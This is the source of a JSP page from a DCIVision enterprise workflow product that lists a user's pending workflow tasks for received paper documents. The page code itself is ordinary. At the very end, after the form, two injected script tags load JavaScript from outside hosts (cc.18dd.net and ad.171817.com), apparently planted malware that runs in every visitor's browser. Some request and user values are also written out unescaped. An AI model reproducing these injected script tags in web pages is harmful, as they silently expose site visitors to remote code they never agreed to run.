<%
/*
 * @(#)ListWorkflowTask.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListWorkflowRecvPaperDoc.jsp

  This is a ListWorkflowTask page.  It shows the active workflow progress pending for the user to finish in EIP.

    @author             Lun Au
    @company            DCIVision Ltd
    @creation date      26/10/2004
    @version            $Revision: 1.18.26.8 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ taglib uri="/tags/wfm" prefix="wfm" %>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.List"%>
<%@ page import="java.util.Locale"%>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.workflow.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.workflow.web.*"%>
<%@ page import="com.dcivision.workflow.core.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.user.bean.*"%>
<%@ page import="com.dcivision.user.web.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listWorkflowProgressForm" scope="request" class="com.dcivision.workflow.web.ListWorkflowProgressForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String      LIST_NAME = "workflowTaskList";
  String      showProcessedList = request.getParameter("showProcessedList");

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"workflow.columnheader.track_id", "TRACK_ID"},
                            {"workflow.columnheader.category", "WORKFLOW_CATEGORY_NAME"},
                            {"workflow.columnheader.description", "WORKFLOW_DESCRIPTION"},
                            {"workflow.label.priority", "PROGRESS_PRIORITY"},
                            {"workflow.columnheader.step_name", "STEP_SEQ"},
                            {"workflow.columnheader.due_date", "ON_NO_RESPONSE_AFTER"},
                            {"workflow.columnheader.status", "STATUS"},
                            {"workflow.columnheader.workflow_code", "WORKFLOW_CODE"},
                            {"workflow.columnheader.arrival_date", "CREATE_DATE"},
                            {"workflow.columnheader.from_whom", "CREATOR_ID"}
                          };

  String[][]  LABEL_MAP_PROCESSED = { {"ID", "ID"},
                            {"workflow.columnheader.track_id", "TRACK_ID"},
                            {"workflow.columnheader.category", "WORKFLOW_CATEGORY_NAME"},
                            {"workflow.columnheader.description", "WORKFLOW_DESCRIPTION"},
                            {"workflow.label.priority", "PROGRESS_PRIORITY"},
                            {"workflow.columnheader.step_name", "STEP_SEQ"},
                            {"workflow.columnheader.due_date", "ON_NO_RESPONSE_AFTER"},
                            {"workflow.columnheader.status", "STATUS"},
                            {"workflow.columnheader.complete_flag", "COMPLETE_FLAG"},
                            {"workflow.columnheader.workflow_code", "WORKFLOW_CODE"},
                            {"workflow.columnheader.arrival_date", "CREATE_DATE"},
                            {"workflow.columnheader.from_whom", "CREATOR_ID"}
                          };

  if(GlobalConstant.TRUE.equals(showProcessedList) ){
    LABEL_MAP = LABEL_MAP_PROCESSED;
  }

  String[][] SEARCH_MAP = { {"form.columnheader.track_id", "WP.TRACK_ID"},
                            {"workflow.columnheader.category", "SOWC.WORKFLOW_CATEGORY_NAME"},
                            {"workflow.columnheader.workflow_code", "WR.WORKFLOW_CODE"}
                          };

  String[][] DATE_SEARCH_MAP ={  {"workflow.columnheader.arrival_date", WorkflowProgress.SEARCH_ARRIVAL_DATE},
                                 {"workflow.columnheader.due_date",WorkflowProgress.SEARCH_DUE_DATE}
  };

  int     COLUMN_OFFSET = 0;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/

   String functionType = "";
   if ( GlobalConstant.TRUE.equals(listWorkflowProgressForm.getShowFullList()) ) {
    functionType = "workflow.label.full_list";
   } else {
    functionType = "workflow.label.pending_list";
   }

    request.setAttribute(GlobalConstant.FUNCTION_CODE_KEY,SystemFunctionConstant.WORKFLOW_TASK);

/*
   List delegationList = (List) request.getAttribute("delegationList");
   String[][] delegationUserArr = new String[delegationList.size()+1][2];

   delegationUserArr[0][0] = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.options.select_menu.select_one");
   delegationUserArr[0][1] = "";
   for (int i=0; i<delegationList.size(); i++) {
    UserDelegation delegatingUser = (UserDelegation) delegationList.get(i);
    delegationUserArr[i+1][0] = delegatingUser.getSourceUserName();
    delegationUserArr[i+1][1] = delegatingUser.getSourceUserID().toString();
   }
*/

  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  WorkflowRetrievalManager retrievalManager = new WorkflowRetrievalManager(sessionContainer, conn);
%>
<script language="javascript">
<!--
function INIT() {
  document.listWorkflowProgressForm.docReferenceNumber.focus();
}

function CusOpListReset(frm) {
//  frm.fromWhom.value = '';
//  frm.priority[0].checked = false;
//  frm.priority[1].checked = false;
//  frm.priority[2].checked = false;
//  frm.dateFrom.value = '';
//  frm.dateTo.value = '';
  frm.docReferenceNumber.value = '';

//  return OpListReset(frm);
  return true;
}

 function showDocReferenceNo(property) {
    var url = "<%= request.getContextPath() %>" + "/dms/PopupPaperDocumentRecord.do?SHOW_HEADER_FOOTER=N&property=" + property + "&form=" + document.forms['listWorkflowProgressForm'].name + "&mode=multiple";
    var name = "DCIVisionPopupStaff";
    var popW = "700";
    var popH = "400";
    var feature = "scrollbars=yes,resizable=yes";

    OpenCenteredPopup(url, name, popW, popH, feature);
    return false;
}

document.onkeydown = function() {
  if (window.event && window.event.keyCode == 13 ) {
    return(OpList(listWorkflowProgressForm, '<bean:write name='listWorkflowProgressForm' property='sortAttribute' replace=''/>', '<bean:write name='listWorkflowProgressForm' property='sortOrder' replace=''/>'));
  }
}

//-->
</script>
<!-- Form Section Begin -->
<html:form action="workflow/ListWorkflowRecvPaperDoc" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<!-- Page Title Section Begin -->
<!-- TODO: Page Title -->
<layout:titleFormat><font class="pageTitle"><layout:pageTitle/> [<bean:message key='workflow.label.recv_paper_document'/>]</font>
<layout:returnButton>
<%if((!Utility.isEmpty(listWorkflowProgressForm.getReturnTo()))&&
  (listWorkflowProgressForm.getReturnTo().indexOf("ListDmsPaperDocument.do")>0)){
%>
  <%=listWorkflowProgressForm.getReturnTo()%>
<%}else{%>
  ListWorkflowTask.do?opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%>
<%}%>

</layout:returnButton>
</layout:titleFormat>
<!-- Page Title Section End -->

<!-- Search Panel Begin -->
<table cellpadding="2" cellspacing="0" border="0" width="100%" height="40" background="<html:img src='LayoutFinderLongBg.gif'  pathOnly='true'/>">
  <tr>
    <td width="80">
      <nobr>&nbsp;&nbsp;<html:img src='IconFinder.gif' />
      &nbsp;<b><bean:message key='workflow.label.document_reference_number'/>:&nbsp;</b>
      <html:text property='docReferenceNumber' maxlength='30'  onkeypress="onKeyPress();"/><a href="javascript://" onclick="return showDocReferenceNo('docReferenceNumber');"><html:img imageName="popupIcon1" src="IconSearchStaff.gif" /></a>
      &nbsp;&nbsp;
      <html:standardButton label="common.label.search" onClick="return OpList(listWorkflowProgressForm, '${listWorkflowProgressForm.sortAttribute}', '${listWorkflowProgressForm.sortOrder}')"/>
      <html:standardButton label="common.label.reset" onClick="return CusOpListReset(listWorkflowProgressForm)"/>
      </nobr>
    </td>
  </tr>
</table>
<!-- Search Panel End -->

<table cellpadding="20" cellspacing="0" border="0" width="100%"><tr><td>
<!-- Table Showing Record List Begin -->
<table class="mainTable" cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td><table cellpadding="3" cellspacing="1" border="0" width="100%">
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listWorkflowProgressForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listWorkflowProgressForm.getSortAttribute()%>" sortOrder="<%=listWorkflowProgressForm.getSortOrder()%>" checkColumn='false' editLabel='workflow.label.process' copyColumn='false'/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="workflowProgress" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <bean:define id='status' name='workflowProgress' property='status' type='java.lang.String'/>
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)workflowProgress).getID()%>);">
    <td valign="top" align="center">
    <%
       boolean bProgressFinished = !(WorkflowProgress.STATUS_PENDING.equals(((WorkflowProgress)workflowProgress).getStatus())||WorkflowProgress.STATUS_IN_PROGRESS.equals(((WorkflowProgress)workflowProgress).getStatus()));
       if (!bProgressFinished) { %>
      <a href='' onclick="return OpenCenteredPopup('MaintWorkflowTask.do?navMode=E&SHOW_HEADER_FOOTER=N&trackID=<bean:write name='workflowProgress' property='trackID'/>&ID=<bean:write name='workflowProgress' property='ID'/>&workflowRecordID=<bean:write name='workflowProgress' property='workflowRecordID'/>','DCIVisionMaintWorkflowTask',850, 600, 'status=no,menubar=no,scrollbars=yes,resizable=yes,toolbar=no')"><html:img src='IconProcess.gif' /></a>
    <% } else { %>
      <html:img src='IconProcessDisable.gif' />
    <% } %>
    </td>
    <td valign="top">
     <a href='' onclick="return OpenCenteredPopup('MaintWorkflowTask.do?navMode=V&SHOW_HEADER_FOOTER=N&showProcessedList=<bean:write name='listWorkflowProgressForm' property='showProcessedList'/>&trackID=<bean:write name='workflowProgress' property='trackID'/>&ID=<bean:write name='workflowProgress' property='ID'/>&workflowRecordID=<bean:write name='workflowProgress' property='workflowRecordID'/>','DCIVisionMaintWorkflowTask',850, 600, 'status=no,menubar=no,scrollbars=yes,resizable=yes,toolbar=no')" style="color:#0000FF;font-weight:bold;"><%=TextUtility.formatNumberWithZeroPrefix(SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.WORKLFLOW_TRACK_ID_FORMAT_LENGTH).intValue(), ((WorkflowProgress)workflowProgress).getTrackID() )%></a>


   </td>
    <td valign="top"><bean:write name='workflowProgress' property='workflowCategory'/></td>
    <td valign="top"><bean:write name='workflowProgress' property='workflowDescription'/></td>
    <td valign="top"><bean:message key='<%="common.priority.label_"+((WorkflowProgress)workflowProgress).getPriority()%>'/></td>
    <td valign="top"><wfm:stepInfo workflowProgress="<%=(WorkflowProgress)workflowProgress%>"/></td>
    <td valign="top"><bean:write name='workflowProgress' property='dueDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></td>
    <td valign="top"><font class="progress_status_<%=status%>"><bean:message key='<%="workflow.label.step_status_"+ status%>'/></font></td>
    <%if(GlobalConstant.TRUE.equals(showProcessedList) ){%>
    <td valign="top">
    <logic:equal name='workflowProgress' property='completeFlag' value='<%=GlobalConstant.TRUE%>'>
    <bean:message key='workflow.label.step_status_T'/>
    </logic:equal>
    <logic:equal name='workflowProgress' property='completeFlag' value='<%=GlobalConstant.FALSE%>'>
    <bean:message key='workflow.label.step_status_F'/>
    </logic:equal>
    </td>
    <%}%>
    <td valign="top"><bean:write name='workflowProgress' property='workflowCode'/></td>
    <!-- <td valign="top" class="bodyVerySmall" nowrap><bean:write name='workflowProgress' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td> -->
    <td valign="top" class="bodyVerySmall" nowrap><bean:write name='workflowProgress' property='createDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
    <!-- <td valign="top" class="bodyVerySmall"><bean:write name='workflowProgress' property='updaterName'/></td> -->

  <%
    List wkprogressList = retrievalManager.getNonSystemParent(((WorkflowProgress)workflowProgress).getTrackID(),((WorkflowProgress)workflowProgress).getWorkflowStepID());
    StringBuffer sbcomment = new StringBuffer();
    if ( wkprogressList.size() == 0 ) {
      sbcomment.append ("<nobr><b>" );
      sbcomment.append ( MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.step_status_"+ status) );
      sbcomment.append ( " at <b>"+ TextUtility.formatTimestamp(((WorkflowProgress)workflowProgress).getCreateDate())+"</b></nobr>");
    } else {
      for(int j=0;j<wkprogressList.size();j++){
        WorkflowProgress wkflowprogress = (WorkflowProgress)wkprogressList.get(j);
        sbcomment.append ( "<b><u style=\'font-size:11px\'>" );
        sbcomment.append ( retrievalManager.getStepNameByWkProgressID(wkflowprogress.getID()) );
        sbcomment.append ( "</u></b><br>" );
        List progressUserList = retrievalManager.getWorkflowProgressUserRecordListByProgressID(wkflowprogress.getID());
        for (int k=0; k<progressUserList.size(); k++) {
          MtmWorkflowProgressUserRecord progressUser = (MtmWorkflowProgressUserRecord) progressUserList.get(k);
          sbcomment.append ("<nobr>" );
          sbcomment.append ("<b>" + progressUser.getUpdaterName()+"</b> at <b>");
          sbcomment.append ( TextUtility.formatTimestamp(progressUser.getUpdateDate())+"</b>");
          if (!Utility.isEmpty(progressUser.getReason())) {
            sbcomment.append (":<br>&nbsp;&nbsp;<i>"+progressUser.getReason()+"</i>");
          }
          sbcomment.append ("</nobr>" );
        }
      }
    }
    String comment= sbcomment.toString();
  %>
  <td valign="top" class="bodyVerySmall"><a href="mailto:<%=UserInfoFactory.getUserEmailAddress(((WorkflowProgress)workflowProgress).getCreatorID())%>" onmouseover="return getPopupInfo('<%=TextUtility.escapeJSString(TextUtility.br(comment))%>');" onmouseout="return nd();"><%=((WorkflowProgress)workflowProgress).getCreatorName()%></a></td>

    <!-- <td valign="top" class="bodyVerySmall"><bean:write name='workflowProgress' property='creatorName'/></td> -->
  </tr>
  <tr>
    <td colspan="<%=LABEL_MAP.length+COLUMN_OFFSET%>">
      <html:img src='LayoutSpacer.gif'  width='30' height='1'/><b style="color:#000066"><bean:message key='workflow.label.related_to_object'/>: </b>
      <%
        com.dcivision.workflow.dao.MtmWorkflowProgressSystemObjectDAObject mtmWfProgSysObjDAO = new com.dcivision.workflow.dao.MtmWorkflowProgressSystemObjectDAObject(sessionContainer, (java.sql.Connection)request.getAttribute(GlobalConstant.DB_KEY));

        /**
         * @TODO get the MtmWorkflowProgressSystemObject by TrackID & ObjectID or use for cycle.
         **/

        List objectList = mtmWfProgSysObjDAO.getListByTrackID(((WorkflowProgress)workflowProgress).getTrackID());
        com.dcivision.workflow.bean.MtmWorkflowProgressSystemObject relatedObj = null;
        if(!Utility.isEmpty(objectList)){
          relatedObj = (com.dcivision.workflow.bean.MtmWorkflowProgressSystemObject)objectList.get(0);
        }

        //com.dcivision.workflow.bean.MtmWorkflowProgressSystemObject relatedObj = (com.dcivision.workflow.bean.MtmWorkflowProgressSystemObject)mtmWfProgSysObjDAO.getObjectByTrackID(((WorkflowProgress)workflowProgress).getTrackID());
        if (relatedObj != null && relatedObj.getParameterObject() != null) {
          java.util.Map dataMap = (java.util.Map)relatedObj.getParameterObject();
          Object workflowObj = dataMap.get("WORKFLOW_OBJECT");
          if (workflowObj instanceof com.dcivision.dms.bean.DmsDocument) {
            %><nobr><dms:documentInfo docObject='<%=(com.dcivision.dms.bean.DmsDocument)workflowObj%>' permission='R' rootDocument='<%=null%>'/></nobr><%
          } else if (workflowObj instanceof com.dcivision.form.bean.FormSubmission) {
            com.dcivision.form.bean.FormSubmission formSub = (com.dcivision.form.bean.FormSubmission)workflowObj;
            com.dcivision.form.dao.FormRecordDAObject formRecordDAO = new com.dcivision.form.dao.FormRecordDAObject(sessionContainer, (java.sql.Connection)request.getAttribute(GlobalConstant.DB_KEY));
            com.dcivision.form.bean.FormRecord formRecord = (com.dcivision.form.bean.FormRecord)formRecordDAO.getObjectByID(formSub.getFormRecordID());
            %><nobr><a href="#" onclick="return OpenCenteredPopup('<%=request.getContextPath()%>/form/MaintFormSubmission.do?navMode=V&formRecordID=<%=formSub.getFormRecordID()%>&formSubmissionID=<%=formSub.getID()%>&function=FORMTRACKING&isWorkflowViewFlag=Y&SHOW_HEADER_FOOTER=N', 'DCIVisionWFPopUp',1016,748,'status=no,menubar=no,scrollbars=yes,resizable=yes,toolbar=no,screenX=0,screenY=0,left=0,top=0');"><%=formRecord.getFormCode() + " - " + formRecord.getTitle() + " (" + formRecord.getFormVersion() + ")"%></a></nobr>
            <%
          } else {
            %><i>[ <bean:message key='common.label.none'/> ]</i><%
          }
        } else {
          %><i>[ <bean:message key='common.label.none'/> ]</i><%
        }
      %>
    </td>
  </tr>
  </logic:iterate>
  <!-- Record Looping End -->
  <!-- Pager Information Begin -->
  <layout:pager form="listWorkflowProgressForm" name='<%=LIST_NAME%>'>
  <tr class="listContent">
    <td colspan="<%=LABEL_MAP.length+COLUMN_OFFSET%>">
      <table width="100%" cellpadding="0" cellspacing="0" border="0">
        <tr>
          <td width="200">&nbsp;</td>
          <td align="center">
            <layout:pagerInfo/>
          </td>
          <td width="200" align="right">
            <nobr><layout:pagerIndex/></nobr>
          </td>
        </tr>
      </table>
    </td>
  </tr>
  </layout:pager>
  <!-- Pager Information End -->
</table>
</td></tr></table>
<!-- Table Showing Record List End -->
</html:form>
<!-- Form Section End -->
<script language="JavaScript">
function onKeyPress(){
if(event.keyCode==13)OpList(listWorkflowProgressForm, '<bean:write name='listWorkflowProgressForm' property='sortAttribute' replace=''/>', '<bean:write name='listWorkflowProgressForm' property='sortOrder' replace=''/>');
}
</script>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>